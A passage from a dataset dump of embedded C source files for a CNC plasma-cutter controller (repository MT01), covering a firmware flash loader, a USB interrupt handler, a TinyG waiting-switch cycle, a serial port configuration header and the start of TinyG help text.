DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_downloader.c\n* Version : 3.00\n* Description : Contains the FlashLoader state machine. This file should\n* not be changed unless you are changing part of the protocol.\n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 02.03.2012 3.00 Made compliant with CS v4.0. State machine is\n* now triggered by user supplied timer. Uses\n* r_crc_rx package.\n******************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Functions prototypes for dealing with strings (used for memcpy) */\n#include <string.h>\n/* Included for definitions for 'true' and 'false' */\n#include <stdbool.h>\n/* Flash Loader project includes. */\n#include \"r_fl_includes.h\"\n/* Uses r_crc_rx package for CRC calculations. */\n#include \"r_crc_rx_if.h\"\n/* Used for re-entrancy protection with state machine. */\n#include \"platform.h\"\n#include \"keyboard.h\"\n#include \"plasma.h\"\n\n#include \"ff.h\"\n\n#include \"lcd.h\"\n#include \"lcd_menu.h\"\n\n#include \"spiffs_hw.h\"\n#include \"spiflash.h\"\n\n#include <string.h>\n#include <stdio.h>\n\nconst char proj_name[] = \"MT01_proj.bin\";\nconst char proj_programmed[] = \"MT01_done.bin\";\n\n#define CRC_ADDRESS (((uint32_t)__sectop(\"APPHEADER_1\"))-0xFFF00000)\nextern bool drivemountFlag;\nFATFS media;\nFIL file;\nconst fl_image_header_t *g_app_header;\n\n/******************************************************************************\nExported global variables (to be accessed by other files)\n******************************************************************************/\n/* Declares transmit and receive buffers. The receive buffer\n is for commuincations to the host as well as when reading\n the external memory. This is done to save space. */\nuint8_t g_fl_tx_buffer[5]; \nuint8_t g_fl_rx_buffer[FL_CFG_DATA_BLOCK_MAX_BYTES];\n\n/* Data structure to hold load image headers */\nfl_image_header_t g_fl_load_image_headers[FL_CFG_MEM_NUM_LOAD_IMAGES];\nstatic const char* gszbootMsg[MAX_ROW] =\n{\n\t\t/* \"12345678901234567890\" */\n\t\t \" DETECTADO NOVO \",\n\t\t \" FIRMWARE \",\n\t\t \" \",\n\t\t \" \",\n\t\t \" ENTER: CONTINUA \",\n\t\t \" ESC : PULA \",\n};\n\nstatic const char* gszCarMsg[17] =\n{\n\t\t/* \"12345678901234567890\" */\n\t\t \"CARREGANDO\\n[ ]\\n\",\n\t\t \"CARREGANDO\\n[* ]\\n\",\n\t\t \"CARREGANDO\\n[** ]\\n\",\n\t\t \"CARREGANDO\\n[*** ]\\n\",\n\t\t \"CARREGANDO\\n[**** ]\\n\",\n\t\t \"CARREGANDO\\n[***** ]\\n\",\n\t\t \"CARREGANDO\\n[****** ]\\n\",\n\t\t \"CARREGANDO\\n[******* ]\\n\",\n\t\t \"CARREGANDO\\n[******** ]\\n\",\n\t\t \"CARREGANDO\\n[********* ]\\n\",\n\t\t \"CARREGANDO\\n[********** ]\\n\",\n\t\t \"CARREGANDO\\n[*********** ]\\n\",\n\t\t \"CARREGANDO\\n[************ ]\\n\",\n\t\t \"CARREGANDO\\n[************* ]\\n\",\n\t\t \"CARREGANDO\\n[************** ]\\n\",\n\t\t \"CARREGANDO\\n[*************** ]\\n\",\n\t\t \"CARREGANDO\\n[****************]\\n\",\n};\n\n\nchar StrBoot[MAX_COLUMN];\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/* Points to info on current application */\nfl_image_header_t * g_pfl_cur_app_header;\nuint32_t\taddress = 0;\n\n/******************************************************************************\n* Function Name: R_FL_DownloaderInit\n* Description : Initializes communications for FlashLoader operations\n* Arguments : none\n* Return value : none\n******************************************************************************/\nvoid R_FL_DownloaderInit(void)\n{\n /* Initialize pointer to current app's load image header */\n g_pfl_cur_app_header = (fl_image_header_t *)__sectop(\"APPHEADER_1\");\n \n /* Initialize resources needed for using external memory */\n // fl_mem_init();\n\n /* Initialize CRC. */\n R_CRC_Init();\n \n}\n/******************************************************************************\nEnd of function FL_Downloader_Init\n******************************************************************************/\nuint8_t chargeIndex = 0;\n\n/******************************************************************************\n* Function Name: R_FL_StateMachine\n* Description : This is the state machine that runs the FL project. This \n* function should be called on a periodic basis by the user.\n* Arguments : none\n* Return value : none\n******************************************************************************/\nvoid R_FL_StateMachine(void)\n{\n FIL file;\n FRESULT res;\n uint16_t file_rw_cnt;\n\tuint8_t uiMsgRow = 0;\n\n\tuint32_t keyEntry = 0;\n\n\n R_FL_DownloaderInit();\n\n\t/* Open a text file */\n\tif(drivemountFlag){\n\t\tres = f_open(&file, proj_name, FA_READ | FA_WRITE);\n\t\tif(FR_OK != res)\n\t\t{\n\t\t\tnop();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tres = f_lseek(&file,CRC_ADDRESS);\n\t\t\tf_read(&file, g_fl_load_image_headers, sizeof(g_fl_load_image_headers), (UINT *)&file_rw_cnt);\n\t\t\tsprintf(StrBoot, \" Versão:%d.%d.%d.%03d\", g_fl_load_image_headers[0].version_major,\n\t\t\t\t\t\t\t\t\t\t\t\t\t g_fl_load_image_headers[0].version_middle,\n\t\t\t\t\t g_fl_load_image_headers[0].version_minor,\n\t\t\t\t\t g_fl_load_image_headers[0].version_comp);\n\t\t\tgszbootMsg[2] = StrBoot;\n\t\t\t/* Write strings */\n\t\t\tfor(uiMsgRow = 0; uiMsgRow < MAX_ROW; uiMsgRow++)\n\t\t\t{\n\t\t\t\tut_lcd_drawStr(uiMsgRow, 0, gszbootMsg[uiMsgRow], false,ITEM_NO_MARKED,u8g_font_6x10);\n\t\t\t}\n\t\t\t/* Output */\n\t\t\tut_lcd_output_str();\n\n\t\t\twhile(keyEntry != KEY_ENTER && keyEntry != KEY_ESC){\n\t\t\t\tWDT_FEED\n\t\t\t\txQueueReceive( qKeyboard, &keyEntry, portMAX_DELAY );\n\t\t\t}\n\t\t\tif(keyEntry == KEY_ESC){\n\t\t\t\treturn;\n\t\t\t}\n\n res = f_lseek(&file,0);\n\t\t\tSPIFLASH_erase(&spif, address, SPIFFS_CFG_PHYS_ERASE_SZ(0));\n\t\t chargeIndex = 0;\n\t\t\tut_lcd_output_warning(gszCarMsg[chargeIndex]);\n\t\t while(!f_eof(&file)){\n\t\t\t\tf_read(&file, g_fl_rx_buffer, sizeof(g_fl_rx_buffer), (UINT *)&file_rw_cnt);\n\t\t\t\tif(memcmp(g_fl_rx_buffer, 0xFF, sizeof(g_fl_rx_buffer)) != 0)\n\t\t\t\t\tSPIFLASH_write(&spif,address, sizeof(g_fl_rx_buffer),g_fl_rx_buffer);\n\t\t\t\taddress += sizeof(g_fl_rx_buffer);\n\t\t\t\tif((address % 0x10000) == 0){\n\t\t\t\t\tchargeIndex++;\n\t\t\t\t\tut_lcd_output_warning(gszCarMsg[chargeIndex]);\n\t\t\t\t\tSPIFLASH_erase(&spif, address, SPIFFS_CFG_PHYS_ERASE_SZ(0));\n\t\t\t\t}\n\t\t\t\tWDT_FEED\n\t\t }\n\t\t\tres = f_close(&file);\n\t\t\tres = f_open(&file, proj_name, FA_WRITE);\n\t\t f_rename(proj_name, proj_programmed);\n\t\t RESET\n\t\t}\n\t}\n \n}\n/******************************************************************************\nEnd of function R_FL_StateMachine\n******************************************************************************/\n\n" }, { "alpha_fraction": 0.43218085169792175, "alphanum_fraction": 0.44252362847328186, "avg_line_length": 45.04081726074219, "blob_id": "214bc7bf136bb9f92932ff8d02c37d48b61bfc42", "content_id": "ffe375492157698e08bd9e11ec1aabc589c9b6a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6768, "license_type": "no_license", "max_line_length": 120, "num_lines": 147, "path": "/r_usb_basic/src/driver/comm/r_usb_cinthandler_usbip1.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cinthandler_usbip1.c\n* Description : USB IP1 Host and Peripheral interrupt handler code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern USB_UTR_t usb_gcstd_IntMsg[][USB_INTMSGMAX]; /* Interrupt message */\nextern uint16_t usb_gcstd_IntMsgCnt[]; /* Interrupt message count */\nextern void usb2_cstd_d0fifo_handler(void);\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\nUSB_UTR_t usb2_gcstd_IntMsgD0fifo;\n\n\n/******************************************************************************\nRenesas Abstracted common Interrupt handler functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb2_cstd_DmaHandler\nDescription : DMA interrupt routine. Send message to PCD/HCD task.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb2_cstd_DmaHandler(void)\n{\n#if USB_FUNCSEL_USBIP1_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n#ifdef USB_DTC_ENABLE\n usb2_cstd_d0fifo_handler();\n#endif /* USB_DTC_ENABLE */\n#endif /* USB_FUNCSEL_USBIP1_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n}\n/******************************************************************************\nEnd of function usb2_cstd_DmaHandler\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb2_cstd_UsbHandler\nDescription : USB2 interrupt routine. Analyze which USB interrupt occurred \n : and send message to PCD/HCD task.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb2_cstd_UsbHandler(void)\n{\n USB_UTR_t *ptr;\n\n /* Initial pointer */\n ptr = &usb_gcstd_IntMsg[1][usb_gcstd_IntMsgCnt[1]];\n ptr->ip = USB_USBIP_1;\n ptr->ipp = usb_cstd_GetUsbIpAdr( ptr->ip );\n\n usb_cstd_InterruptClock( ptr );\n\n /* Check Host or Peripheral */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n USB_ER_t err;\n\n /* Peripheral Function */\n /* Peripheral Interrupt handler */\n usb_pstd_InterruptHandler( ptr );\n ptr->msghead = (USB_MH_t)USB_NULL;\n /* Send message */\n err = USB_ISND_MSG(USB_PCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### lib_UsbHandler DEF1 isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n USB_ER_t err;\n\n /* Host Function */\n /* Host Interrupt handler */\n usb_hstd_InterruptHandler( ptr );\n ptr->msghead = (USB_MH_t)USB_NULL;\n /* Send message */\n err = USB_ISND_MSG(USB_HCD_MBX, (USB_MSG_t*)ptr);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### lib_UsbHandler DEF2 isnd_msg error (%ld)\\n\", err);\n }\n#endif /* USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n\n /* Renewal Message count */\n usb_gcstd_IntMsgCnt[1]++;\n if( usb_gcstd_IntMsgCnt[1] == USB_INTMSGMAX )\n {\n usb_gcstd_IntMsgCnt[1] = 0;\n }\n}\n/******************************************************************************\nEnd of function usb2_cstd_UsbHandler\n******************************************************************************/\n#endif /* #if USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.686598539352417, "alphanum_fraction": 0.6926081776618958, "avg_line_length": 32.11442947387695, "blob_id": "8155c385069c0a109a5df57937994e122cc7ce76", "content_id": "bdfe59023e0f7989da6d04f58fb28e927bd027b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6656, "license_type": "no_license", "max_line_length": 99, "num_lines": 201, "path": "/src/cnc/cycle_waiting_switch.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * cycle_probing.c - probing cycle extension to canonical_machine.c\n * Part of TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"json_parser.h\"\n#include \"text_parser.h\"\n#include \"canonical_machine.h\"\n#include \"spindle.h\"\n#include \"report.h\"\n#include \"switch.h\"\n#include \"util.h\"\n#include \"planner.h\"\n#include \"hardware.h\"\n#include \"switch.h\"\n#include \"macros.h\"\n#include \"plasma.h\"\n#include \"controller.h\"\n#include \"keyboard.h\"\n#include \"config_SwTimers.h\"\n#include \"lcd.h\"\n\n\nextern bool lstop;\nextern void warm_stop(uint8_t flag);\n/**** Probe singleton structure ****/\n\n#define MINIMUM_PROBE_TRAVEL 0.254\n\nstruct pbWaitingSwitchSingleton {\t\t\t\t\t\t// persistent probing runtime variables\n\tstat_t (*func)();\t\t\t\t\t\t\t// binding for callback function state machine\n\n\t// switch configuration\n\tuint8_t waiting_switch;\t\t\t\t\t\t// which switch should we check?\n\tuint8_t saved_switch_type;\t\t\t\t\t// saved switch type NO/NC\n\tuint8_t saved_switch_mode;\t // save the probe switch's original settings\n};\nstatic struct pbWaitingSwitchSingleton ws;\n\n/**** NOTE: global prototypes and other .h info is located in canonical_machine.h ****/\n\nstatic stat_t _waiting_init();\nstatic stat_t _waiting_start();\nstatic stat_t _waiting_finish();\nstatic stat_t _waiting_finalize_exit();\nstatic stat_t _waiting_error_exit(int8_t axis);\n\n\n/**** HELPERS ***************************************************************************\n * _set_pb_func() - a convenience for setting the next dispatch vector and exiting\n */\n\nuint8_t _set_ws_func(uint8_t (*func)())\n{\n\tws.func = func;\n\treturn (STAT_EAGAIN);\n}\n\n/****************************************************************************************\n * cm_probing_cycle_start()\t- G38.2 homing cycle using limit switches\n * cm_probing_callback() \t- main loop callback for running the homing cycle\n *\n *\t--- Some further details ---\n *\n *\tAll cm_probe_cycle_start does is prevent any new commands from queueing to the\n *\tplanner so that the planner can move to a sop and report MACHINE_PROGRAM_STOP.\n *\tOK, it also queues the function that's called once motion has stopped.\n *\n *\tNote: When coding a cycle (like this one) you get to perform one queued move per\n *\tentry into the continuation, then you must exit.\n *\n *\tAnother Note: When coding a cycle (like this one) you must wait until\n *\tthe last move has actually been queued (or has finished) before declaring\n *\tthe cycle to be done. Otherwise there is a nasty race condition in the\n *\ttg_controller() that will accept the next command before the position of\n *\tthe final move has been recorded in the Gcode model. That's what the call\n *\tto cm_get_runtime_busy() is about.\n */\n\nuint8_t cm_straight_wait(float time)\n{\n\tcm.wait_state = WS_WAITING;\t\t// wait until planner queue empties before completing initialization\n\tws.func = _waiting_init; \t\t\t// bind probing initialization function\n\treturn (STAT_OK);\n}\n\nuint8_t cm_wait_callback(void)\n{\n\tif ((cm.cycle_state != CYCLE_WAITINGSWITCH) && (cm.wait_state != WS_WAITING)) {\n\t\treturn (STAT_NOOP);\t\t\t\t// exit if not in a probe cycle or waiting for one\n\t}\n\tif (cm_get_runtime_busy() == true) { return (STAT_EAGAIN);}\t// sync to planner move ends\n\tif (lstop) { return (STAT_EAGAIN);}\n return (ws.func()); // execute the current homing move\n}\n\n/*\n * _probing_init()\t- G38.2 homing cycle using limit switches\n *\n *\tThese initializations are required before starting the probing cycle.\n *\tThey must be done after the planner has exhasted all current CYCLE moves as\n *\tthey affect the runtime (specifically the switch modes). Side effects would\n *\tinclude limit switches initiating probe actions instead of just killing movement\n */\n\nstatic uint8_t _waiting_init()\n{\n\t// so optimistic... ;)\n\t// NOTE: it is *not* an error condition for the probe not to trigger.\n\t// it is an error for the limit or homing switches to fire, or for some other configuration error.\n\tcm.probe_state = WS_FAILED;\n\tcm.cycle_state = CYCLE_WAITINGSWITCH;\n\n\n\treturn (_set_ws_func(_waiting_start));\t\t\t\t\t\t\t// start the move\n}\n\n/*\n * _probing_start()\n */\n\nstatic stat_t _waiting_start()\n{\n\tuint32_t lRet = pdFALSE;\n\tpl_arcook_start();\n\txQueueReset((xQueueHandle)xArcoOkSync);\n\tlRet = xSemaphoreTake( xArcoOkSync, pdMS_TO_TICKS(3000) );\n\tif (lRet == pdFALSE)\n\t{\n\t\tuint32_t qSend = ARCO_OK_INIT_FAILED;\n\t\tstopDuringCut_Set(true);\n\t\txQueueSend( qKeyboard, &qSend, 0 );\n\t\tmacro_func_ptr = command_idle;\n\t\tcm.wait_state = WS_FAILED;\n\t//\treturn (STAT_OK);\n\t}\n\telse\n\t{\n\t\tcm.wait_state = WS_SUCCEEDED;\n\t}\n\treturn (_set_ws_func(_waiting_finish));\n}\n\n/*\n * _probing_finish()\n */\n\nstatic stat_t _waiting_finish()\n{\n\treturn (_set_ws_func(_waiting_finalize_exit));\n}\n\n/*\n * _probe_restore_settings()\n * _probing_finalize_exit()\n * _probing_error_exit()\n */\n\nvoid _wait_restore_settings()\n{\n\tmp_flush_planner(); \t\t\t\t\t\t// we should be stopped now, but in case of switch closure\n\n\tcm_cycle_end();\n\tcm.cycle_state = CYCLE_OFF;\n}\n\nstatic stat_t _waiting_finalize_exit()\n{\n\t_wait_restore_settings();\n\treturn (STAT_OK);\n}\n\nstatic stat_t _waiting_error_exit(int8_t axis)\n{\n\t// clean up and exit\n\t_probe_restore_settings();\n\treturn (STAT_PROBE_CYCLE_FAILED);\n}\n" }, { "alpha_fraction": 0.5782787799835205, "alphanum_fraction": 0.6138843894004822, "avg_line_length": 52.228572845458984, "blob_id": "2c05e6dd91375d144fb5f50ded182d3fe6828a58", "content_id": "e66f1fa040bd6312a3395969ed37dce627de6877", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5589, "license_type": "no_license", "max_line_length": 120, "num_lines": 105, "path": "/r_sci_async_rx/ref/r_sci_async_rx_config_reference.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2011 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_sci_async_rx_config.h\n* Description : Configures the SCI drivers\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n***********************************************************************************************************************/\n#ifndef SCI_ASYNC_CONFIG_H\n#define SCI_ASYNC_CONFIG_H\n\n/***********************************************************************************************************************\nConfiguration Options\n***********************************************************************************************************************/\n\n/* SPECIFY WHETHER TO INCLUDE CODE FOR API PARAMETER CHECKING */\n// Setting to BSP_CFG_PARAM_CHECKING_ENABLE utilizes the system default setting\n// Setting to 1 includes parameter checking; 0 compiles out parameter checking\n#define SCI_CFG_PARAM_CHECKING_ENABLE 1\n\n\n/* SPECIFY CHANNELS TO INCLUDE SOFTWARE SUPPORT FOR 1=included, 0=not */\n// * = port connector YRDKRX63N, RSKRX111, RSKRX210\n // mcu supported channels\n#define SCI_CFG_CH0_INCLUDED 0 // RX63N RX210*\n#define SCI_CFG_CH1_INCLUDED 1 // RX63N RX111* RX210\n#define SCI_CFG_CH2_INCLUDED 0 // RX63N*\n#define SCI_CFG_CH3_INCLUDED 0 // RX63N\n#define SCI_CFG_CH4_INCLUDED 0 // RX63N\n#define SCI_CFG_CH5_INCLUDED 1 // RX63N RX111 RX210\n#define SCI_CFG_CH6_INCLUDED 0 // RX63N RX210\n#define SCI_CFG_CH7_INCLUDED 0 // RX63N\n#define SCI_CFG_CH8_INCLUDED 0 // RX63N RX210\n#define SCI_CFG_CH9_INCLUDED 0 // RX63N RX210\n#define SCI_CFG_CH10_INCLUDED 0 // RX63N\n#define SCI_CFG_CH11_INCLUDED 0 // RX63N\n#define SCI_CFG_CH12_INCLUDED 1 // RX63N RX111 RX210\n\n/* SPECIFY TX QUEUE BUFFER SIZES (will not allocate if chan not enabled */\n#define SCI_CFG_CH0_TX_BUFSIZ 80\n#define SCI_CFG_CH1_TX_BUFSIZ 80\n#define SCI_CFG_CH2_TX_BUFSIZ 80\n#define SCI_CFG_CH3_TX_BUFSIZ 80\n#define SCI_CFG_CH4_TX_BUFSIZ 80\n#define SCI_CFG_CH5_TX_BUFSIZ 80\n#define SCI_CFG_CH6_TX_BUFSIZ 80\n#define SCI_CFG_CH7_TX_BUFSIZ 80\n#define SCI_CFG_CH8_TX_BUFSIZ 80\n#define SCI_CFG_CH9_TX_BUFSIZ 80\n#define SCI_CFG_CH10_TX_BUFSIZ 80\n#define SCI_CFG_CH11_TX_BUFSIZ 80\n#define SCI_CFG_CH12_TX_BUFSIZ 80\n\n/* SPECIFY RX QUEUE BUFFER SIZES (will not allocate if chan not enabled */\n#define SCI_CFG_CH0_RX_BUFSIZ 80\n#define SCI_CFG_CH1_RX_BUFSIZ 80\n#define SCI_CFG_CH2_RX_BUFSIZ 80\n#define SCI_CFG_CH3_RX_BUFSIZ 80\n#define SCI_CFG_CH4_RX_BUFSIZ 80\n#define SCI_CFG_CH5_RX_BUFSIZ 80\n#define SCI_CFG_CH6_RX_BUFSIZ 80\n#define SCI_CFG_CH7_RX_BUFSIZ 80\n#define SCI_CFG_CH8_RX_BUFSIZ 80\n#define SCI_CFG_CH9_RX_BUFSIZ 80\n#define SCI_CFG_CH10_RX_BUFSIZ 80\n#define SCI_CFG_CH11_RX_BUFSIZ 80\n#define SCI_CFG_CH12_RX_BUFSIZ 80\n\n/* \n* ENABLE TRANSMIT END INTERRUPT \n* This interrupt only occurs when the last bit of the last byte of data \n* has been sent and the transmitter has become idle. The interrupt calls\n* the user's callback function specified in R_SCI_Open() and passes it an\n* SCI_EVT_TEI event. A typical use of this feature is to disable an external\n* transceiver to save power. It would then be up to the user's code to \n* re-enable the transceiver before sending again. Not including this feature\n* reduces code space used by the interrupt.\n*/\n#define SCI_CFG_TEI_INCLUDED 1 // 1=included, 0=not\n\n/* \n* SET GROUP12 (RECEIVER ERROR) INTERRUPT PRIORITY; RX63N ONLY\n* This #define sets the priority level for the interrupt that handles \n* receiver overrun, framing, and parity errors for all SCI channels\n* on the RX63N. It is ignored for all other parts.\n*/\n#define SCI_CFG_RXERR_PRIORITY 3 // 1 lowest, 15 highest\n\n#endif /* SCI_ASYNC_CONFIG_H */\n" }, { "alpha_fraction": 0.671023964881897, "alphanum_fraction": 0.6822803020477295, "avg_line_length": 31.023256301879883, "blob_id": "ad9d70f07b20a5454fc55746e39f31b108c399ba", "content_id": "086efdd723de697efb331a432d2b0c5ae4bdc934", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5508, "license_type": "no_license", "max_line_length": 93, "num_lines": 172, "path": "/src/cnc/help.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * help.h - collected help routines\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\t\t// #1\n#include \"config.h\"\t\t// #2\n#include \"report.h\"\n#include \"help.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n// help helper functions (snicker)\n\nstat_t help_stub(nvObj_t *nv) {return (STAT_OK);}\n\n#ifdef __HELP_SCREENS\n\nstatic void _status_report_advisory()\n{\nfprintf_P(stderr, PSTR(\"\\n\\\nNote: TinyG generates automatic status reports by default\\n\\\nThis can be disabled by entering $sv=0\\n\\\nSee the wiki below for more details.\\n\\\n\"));\n}\n\nstatic void _postscript()\n{\nfprintf_P(stderr, PSTR(\"\\n\\\nFor detailed TinyG info see: https://github.com/synthetos/TinyG/wiki/\\n\\\nFor the latest firmware see: https://github.com/synthetos/TinyG\\n\\\nPlease log any issues at http://www.synthetos.com/forums\\n\\\nHave fun\\n\"));\n}\n\n/*\n * help_general() - help invoked as h from the command line\n */\nuint8_t help_general(nvObj_t *nv)\n{\nfprintf_P(stderr, PSTR(\"\\n\\n\\n### TinyG Help ###\\n\"));\nfprintf_P(stderr, PSTR(\"\\\nThese commands are active from the command line:\\n\\\n ^x Reset (control x) - software reset\\n\\\n ? Machine position and gcode model state\\n\\\n $ Show and set configuration settings\\n\\\n ! Feedhold - stop motion without losing position\\n\\\n ~ Cycle Start - restart from feedhold\\n\\\n h Show this help screen\\n\\\n $h Show configuration help screen\\n\\\n $test List self-tests\\n\\\n $test=N Run self-test N\\n\\\n $home=1 Run a homing cycle\\n\\\n $defa=1 Restore all settings to \\\"factory\\\" 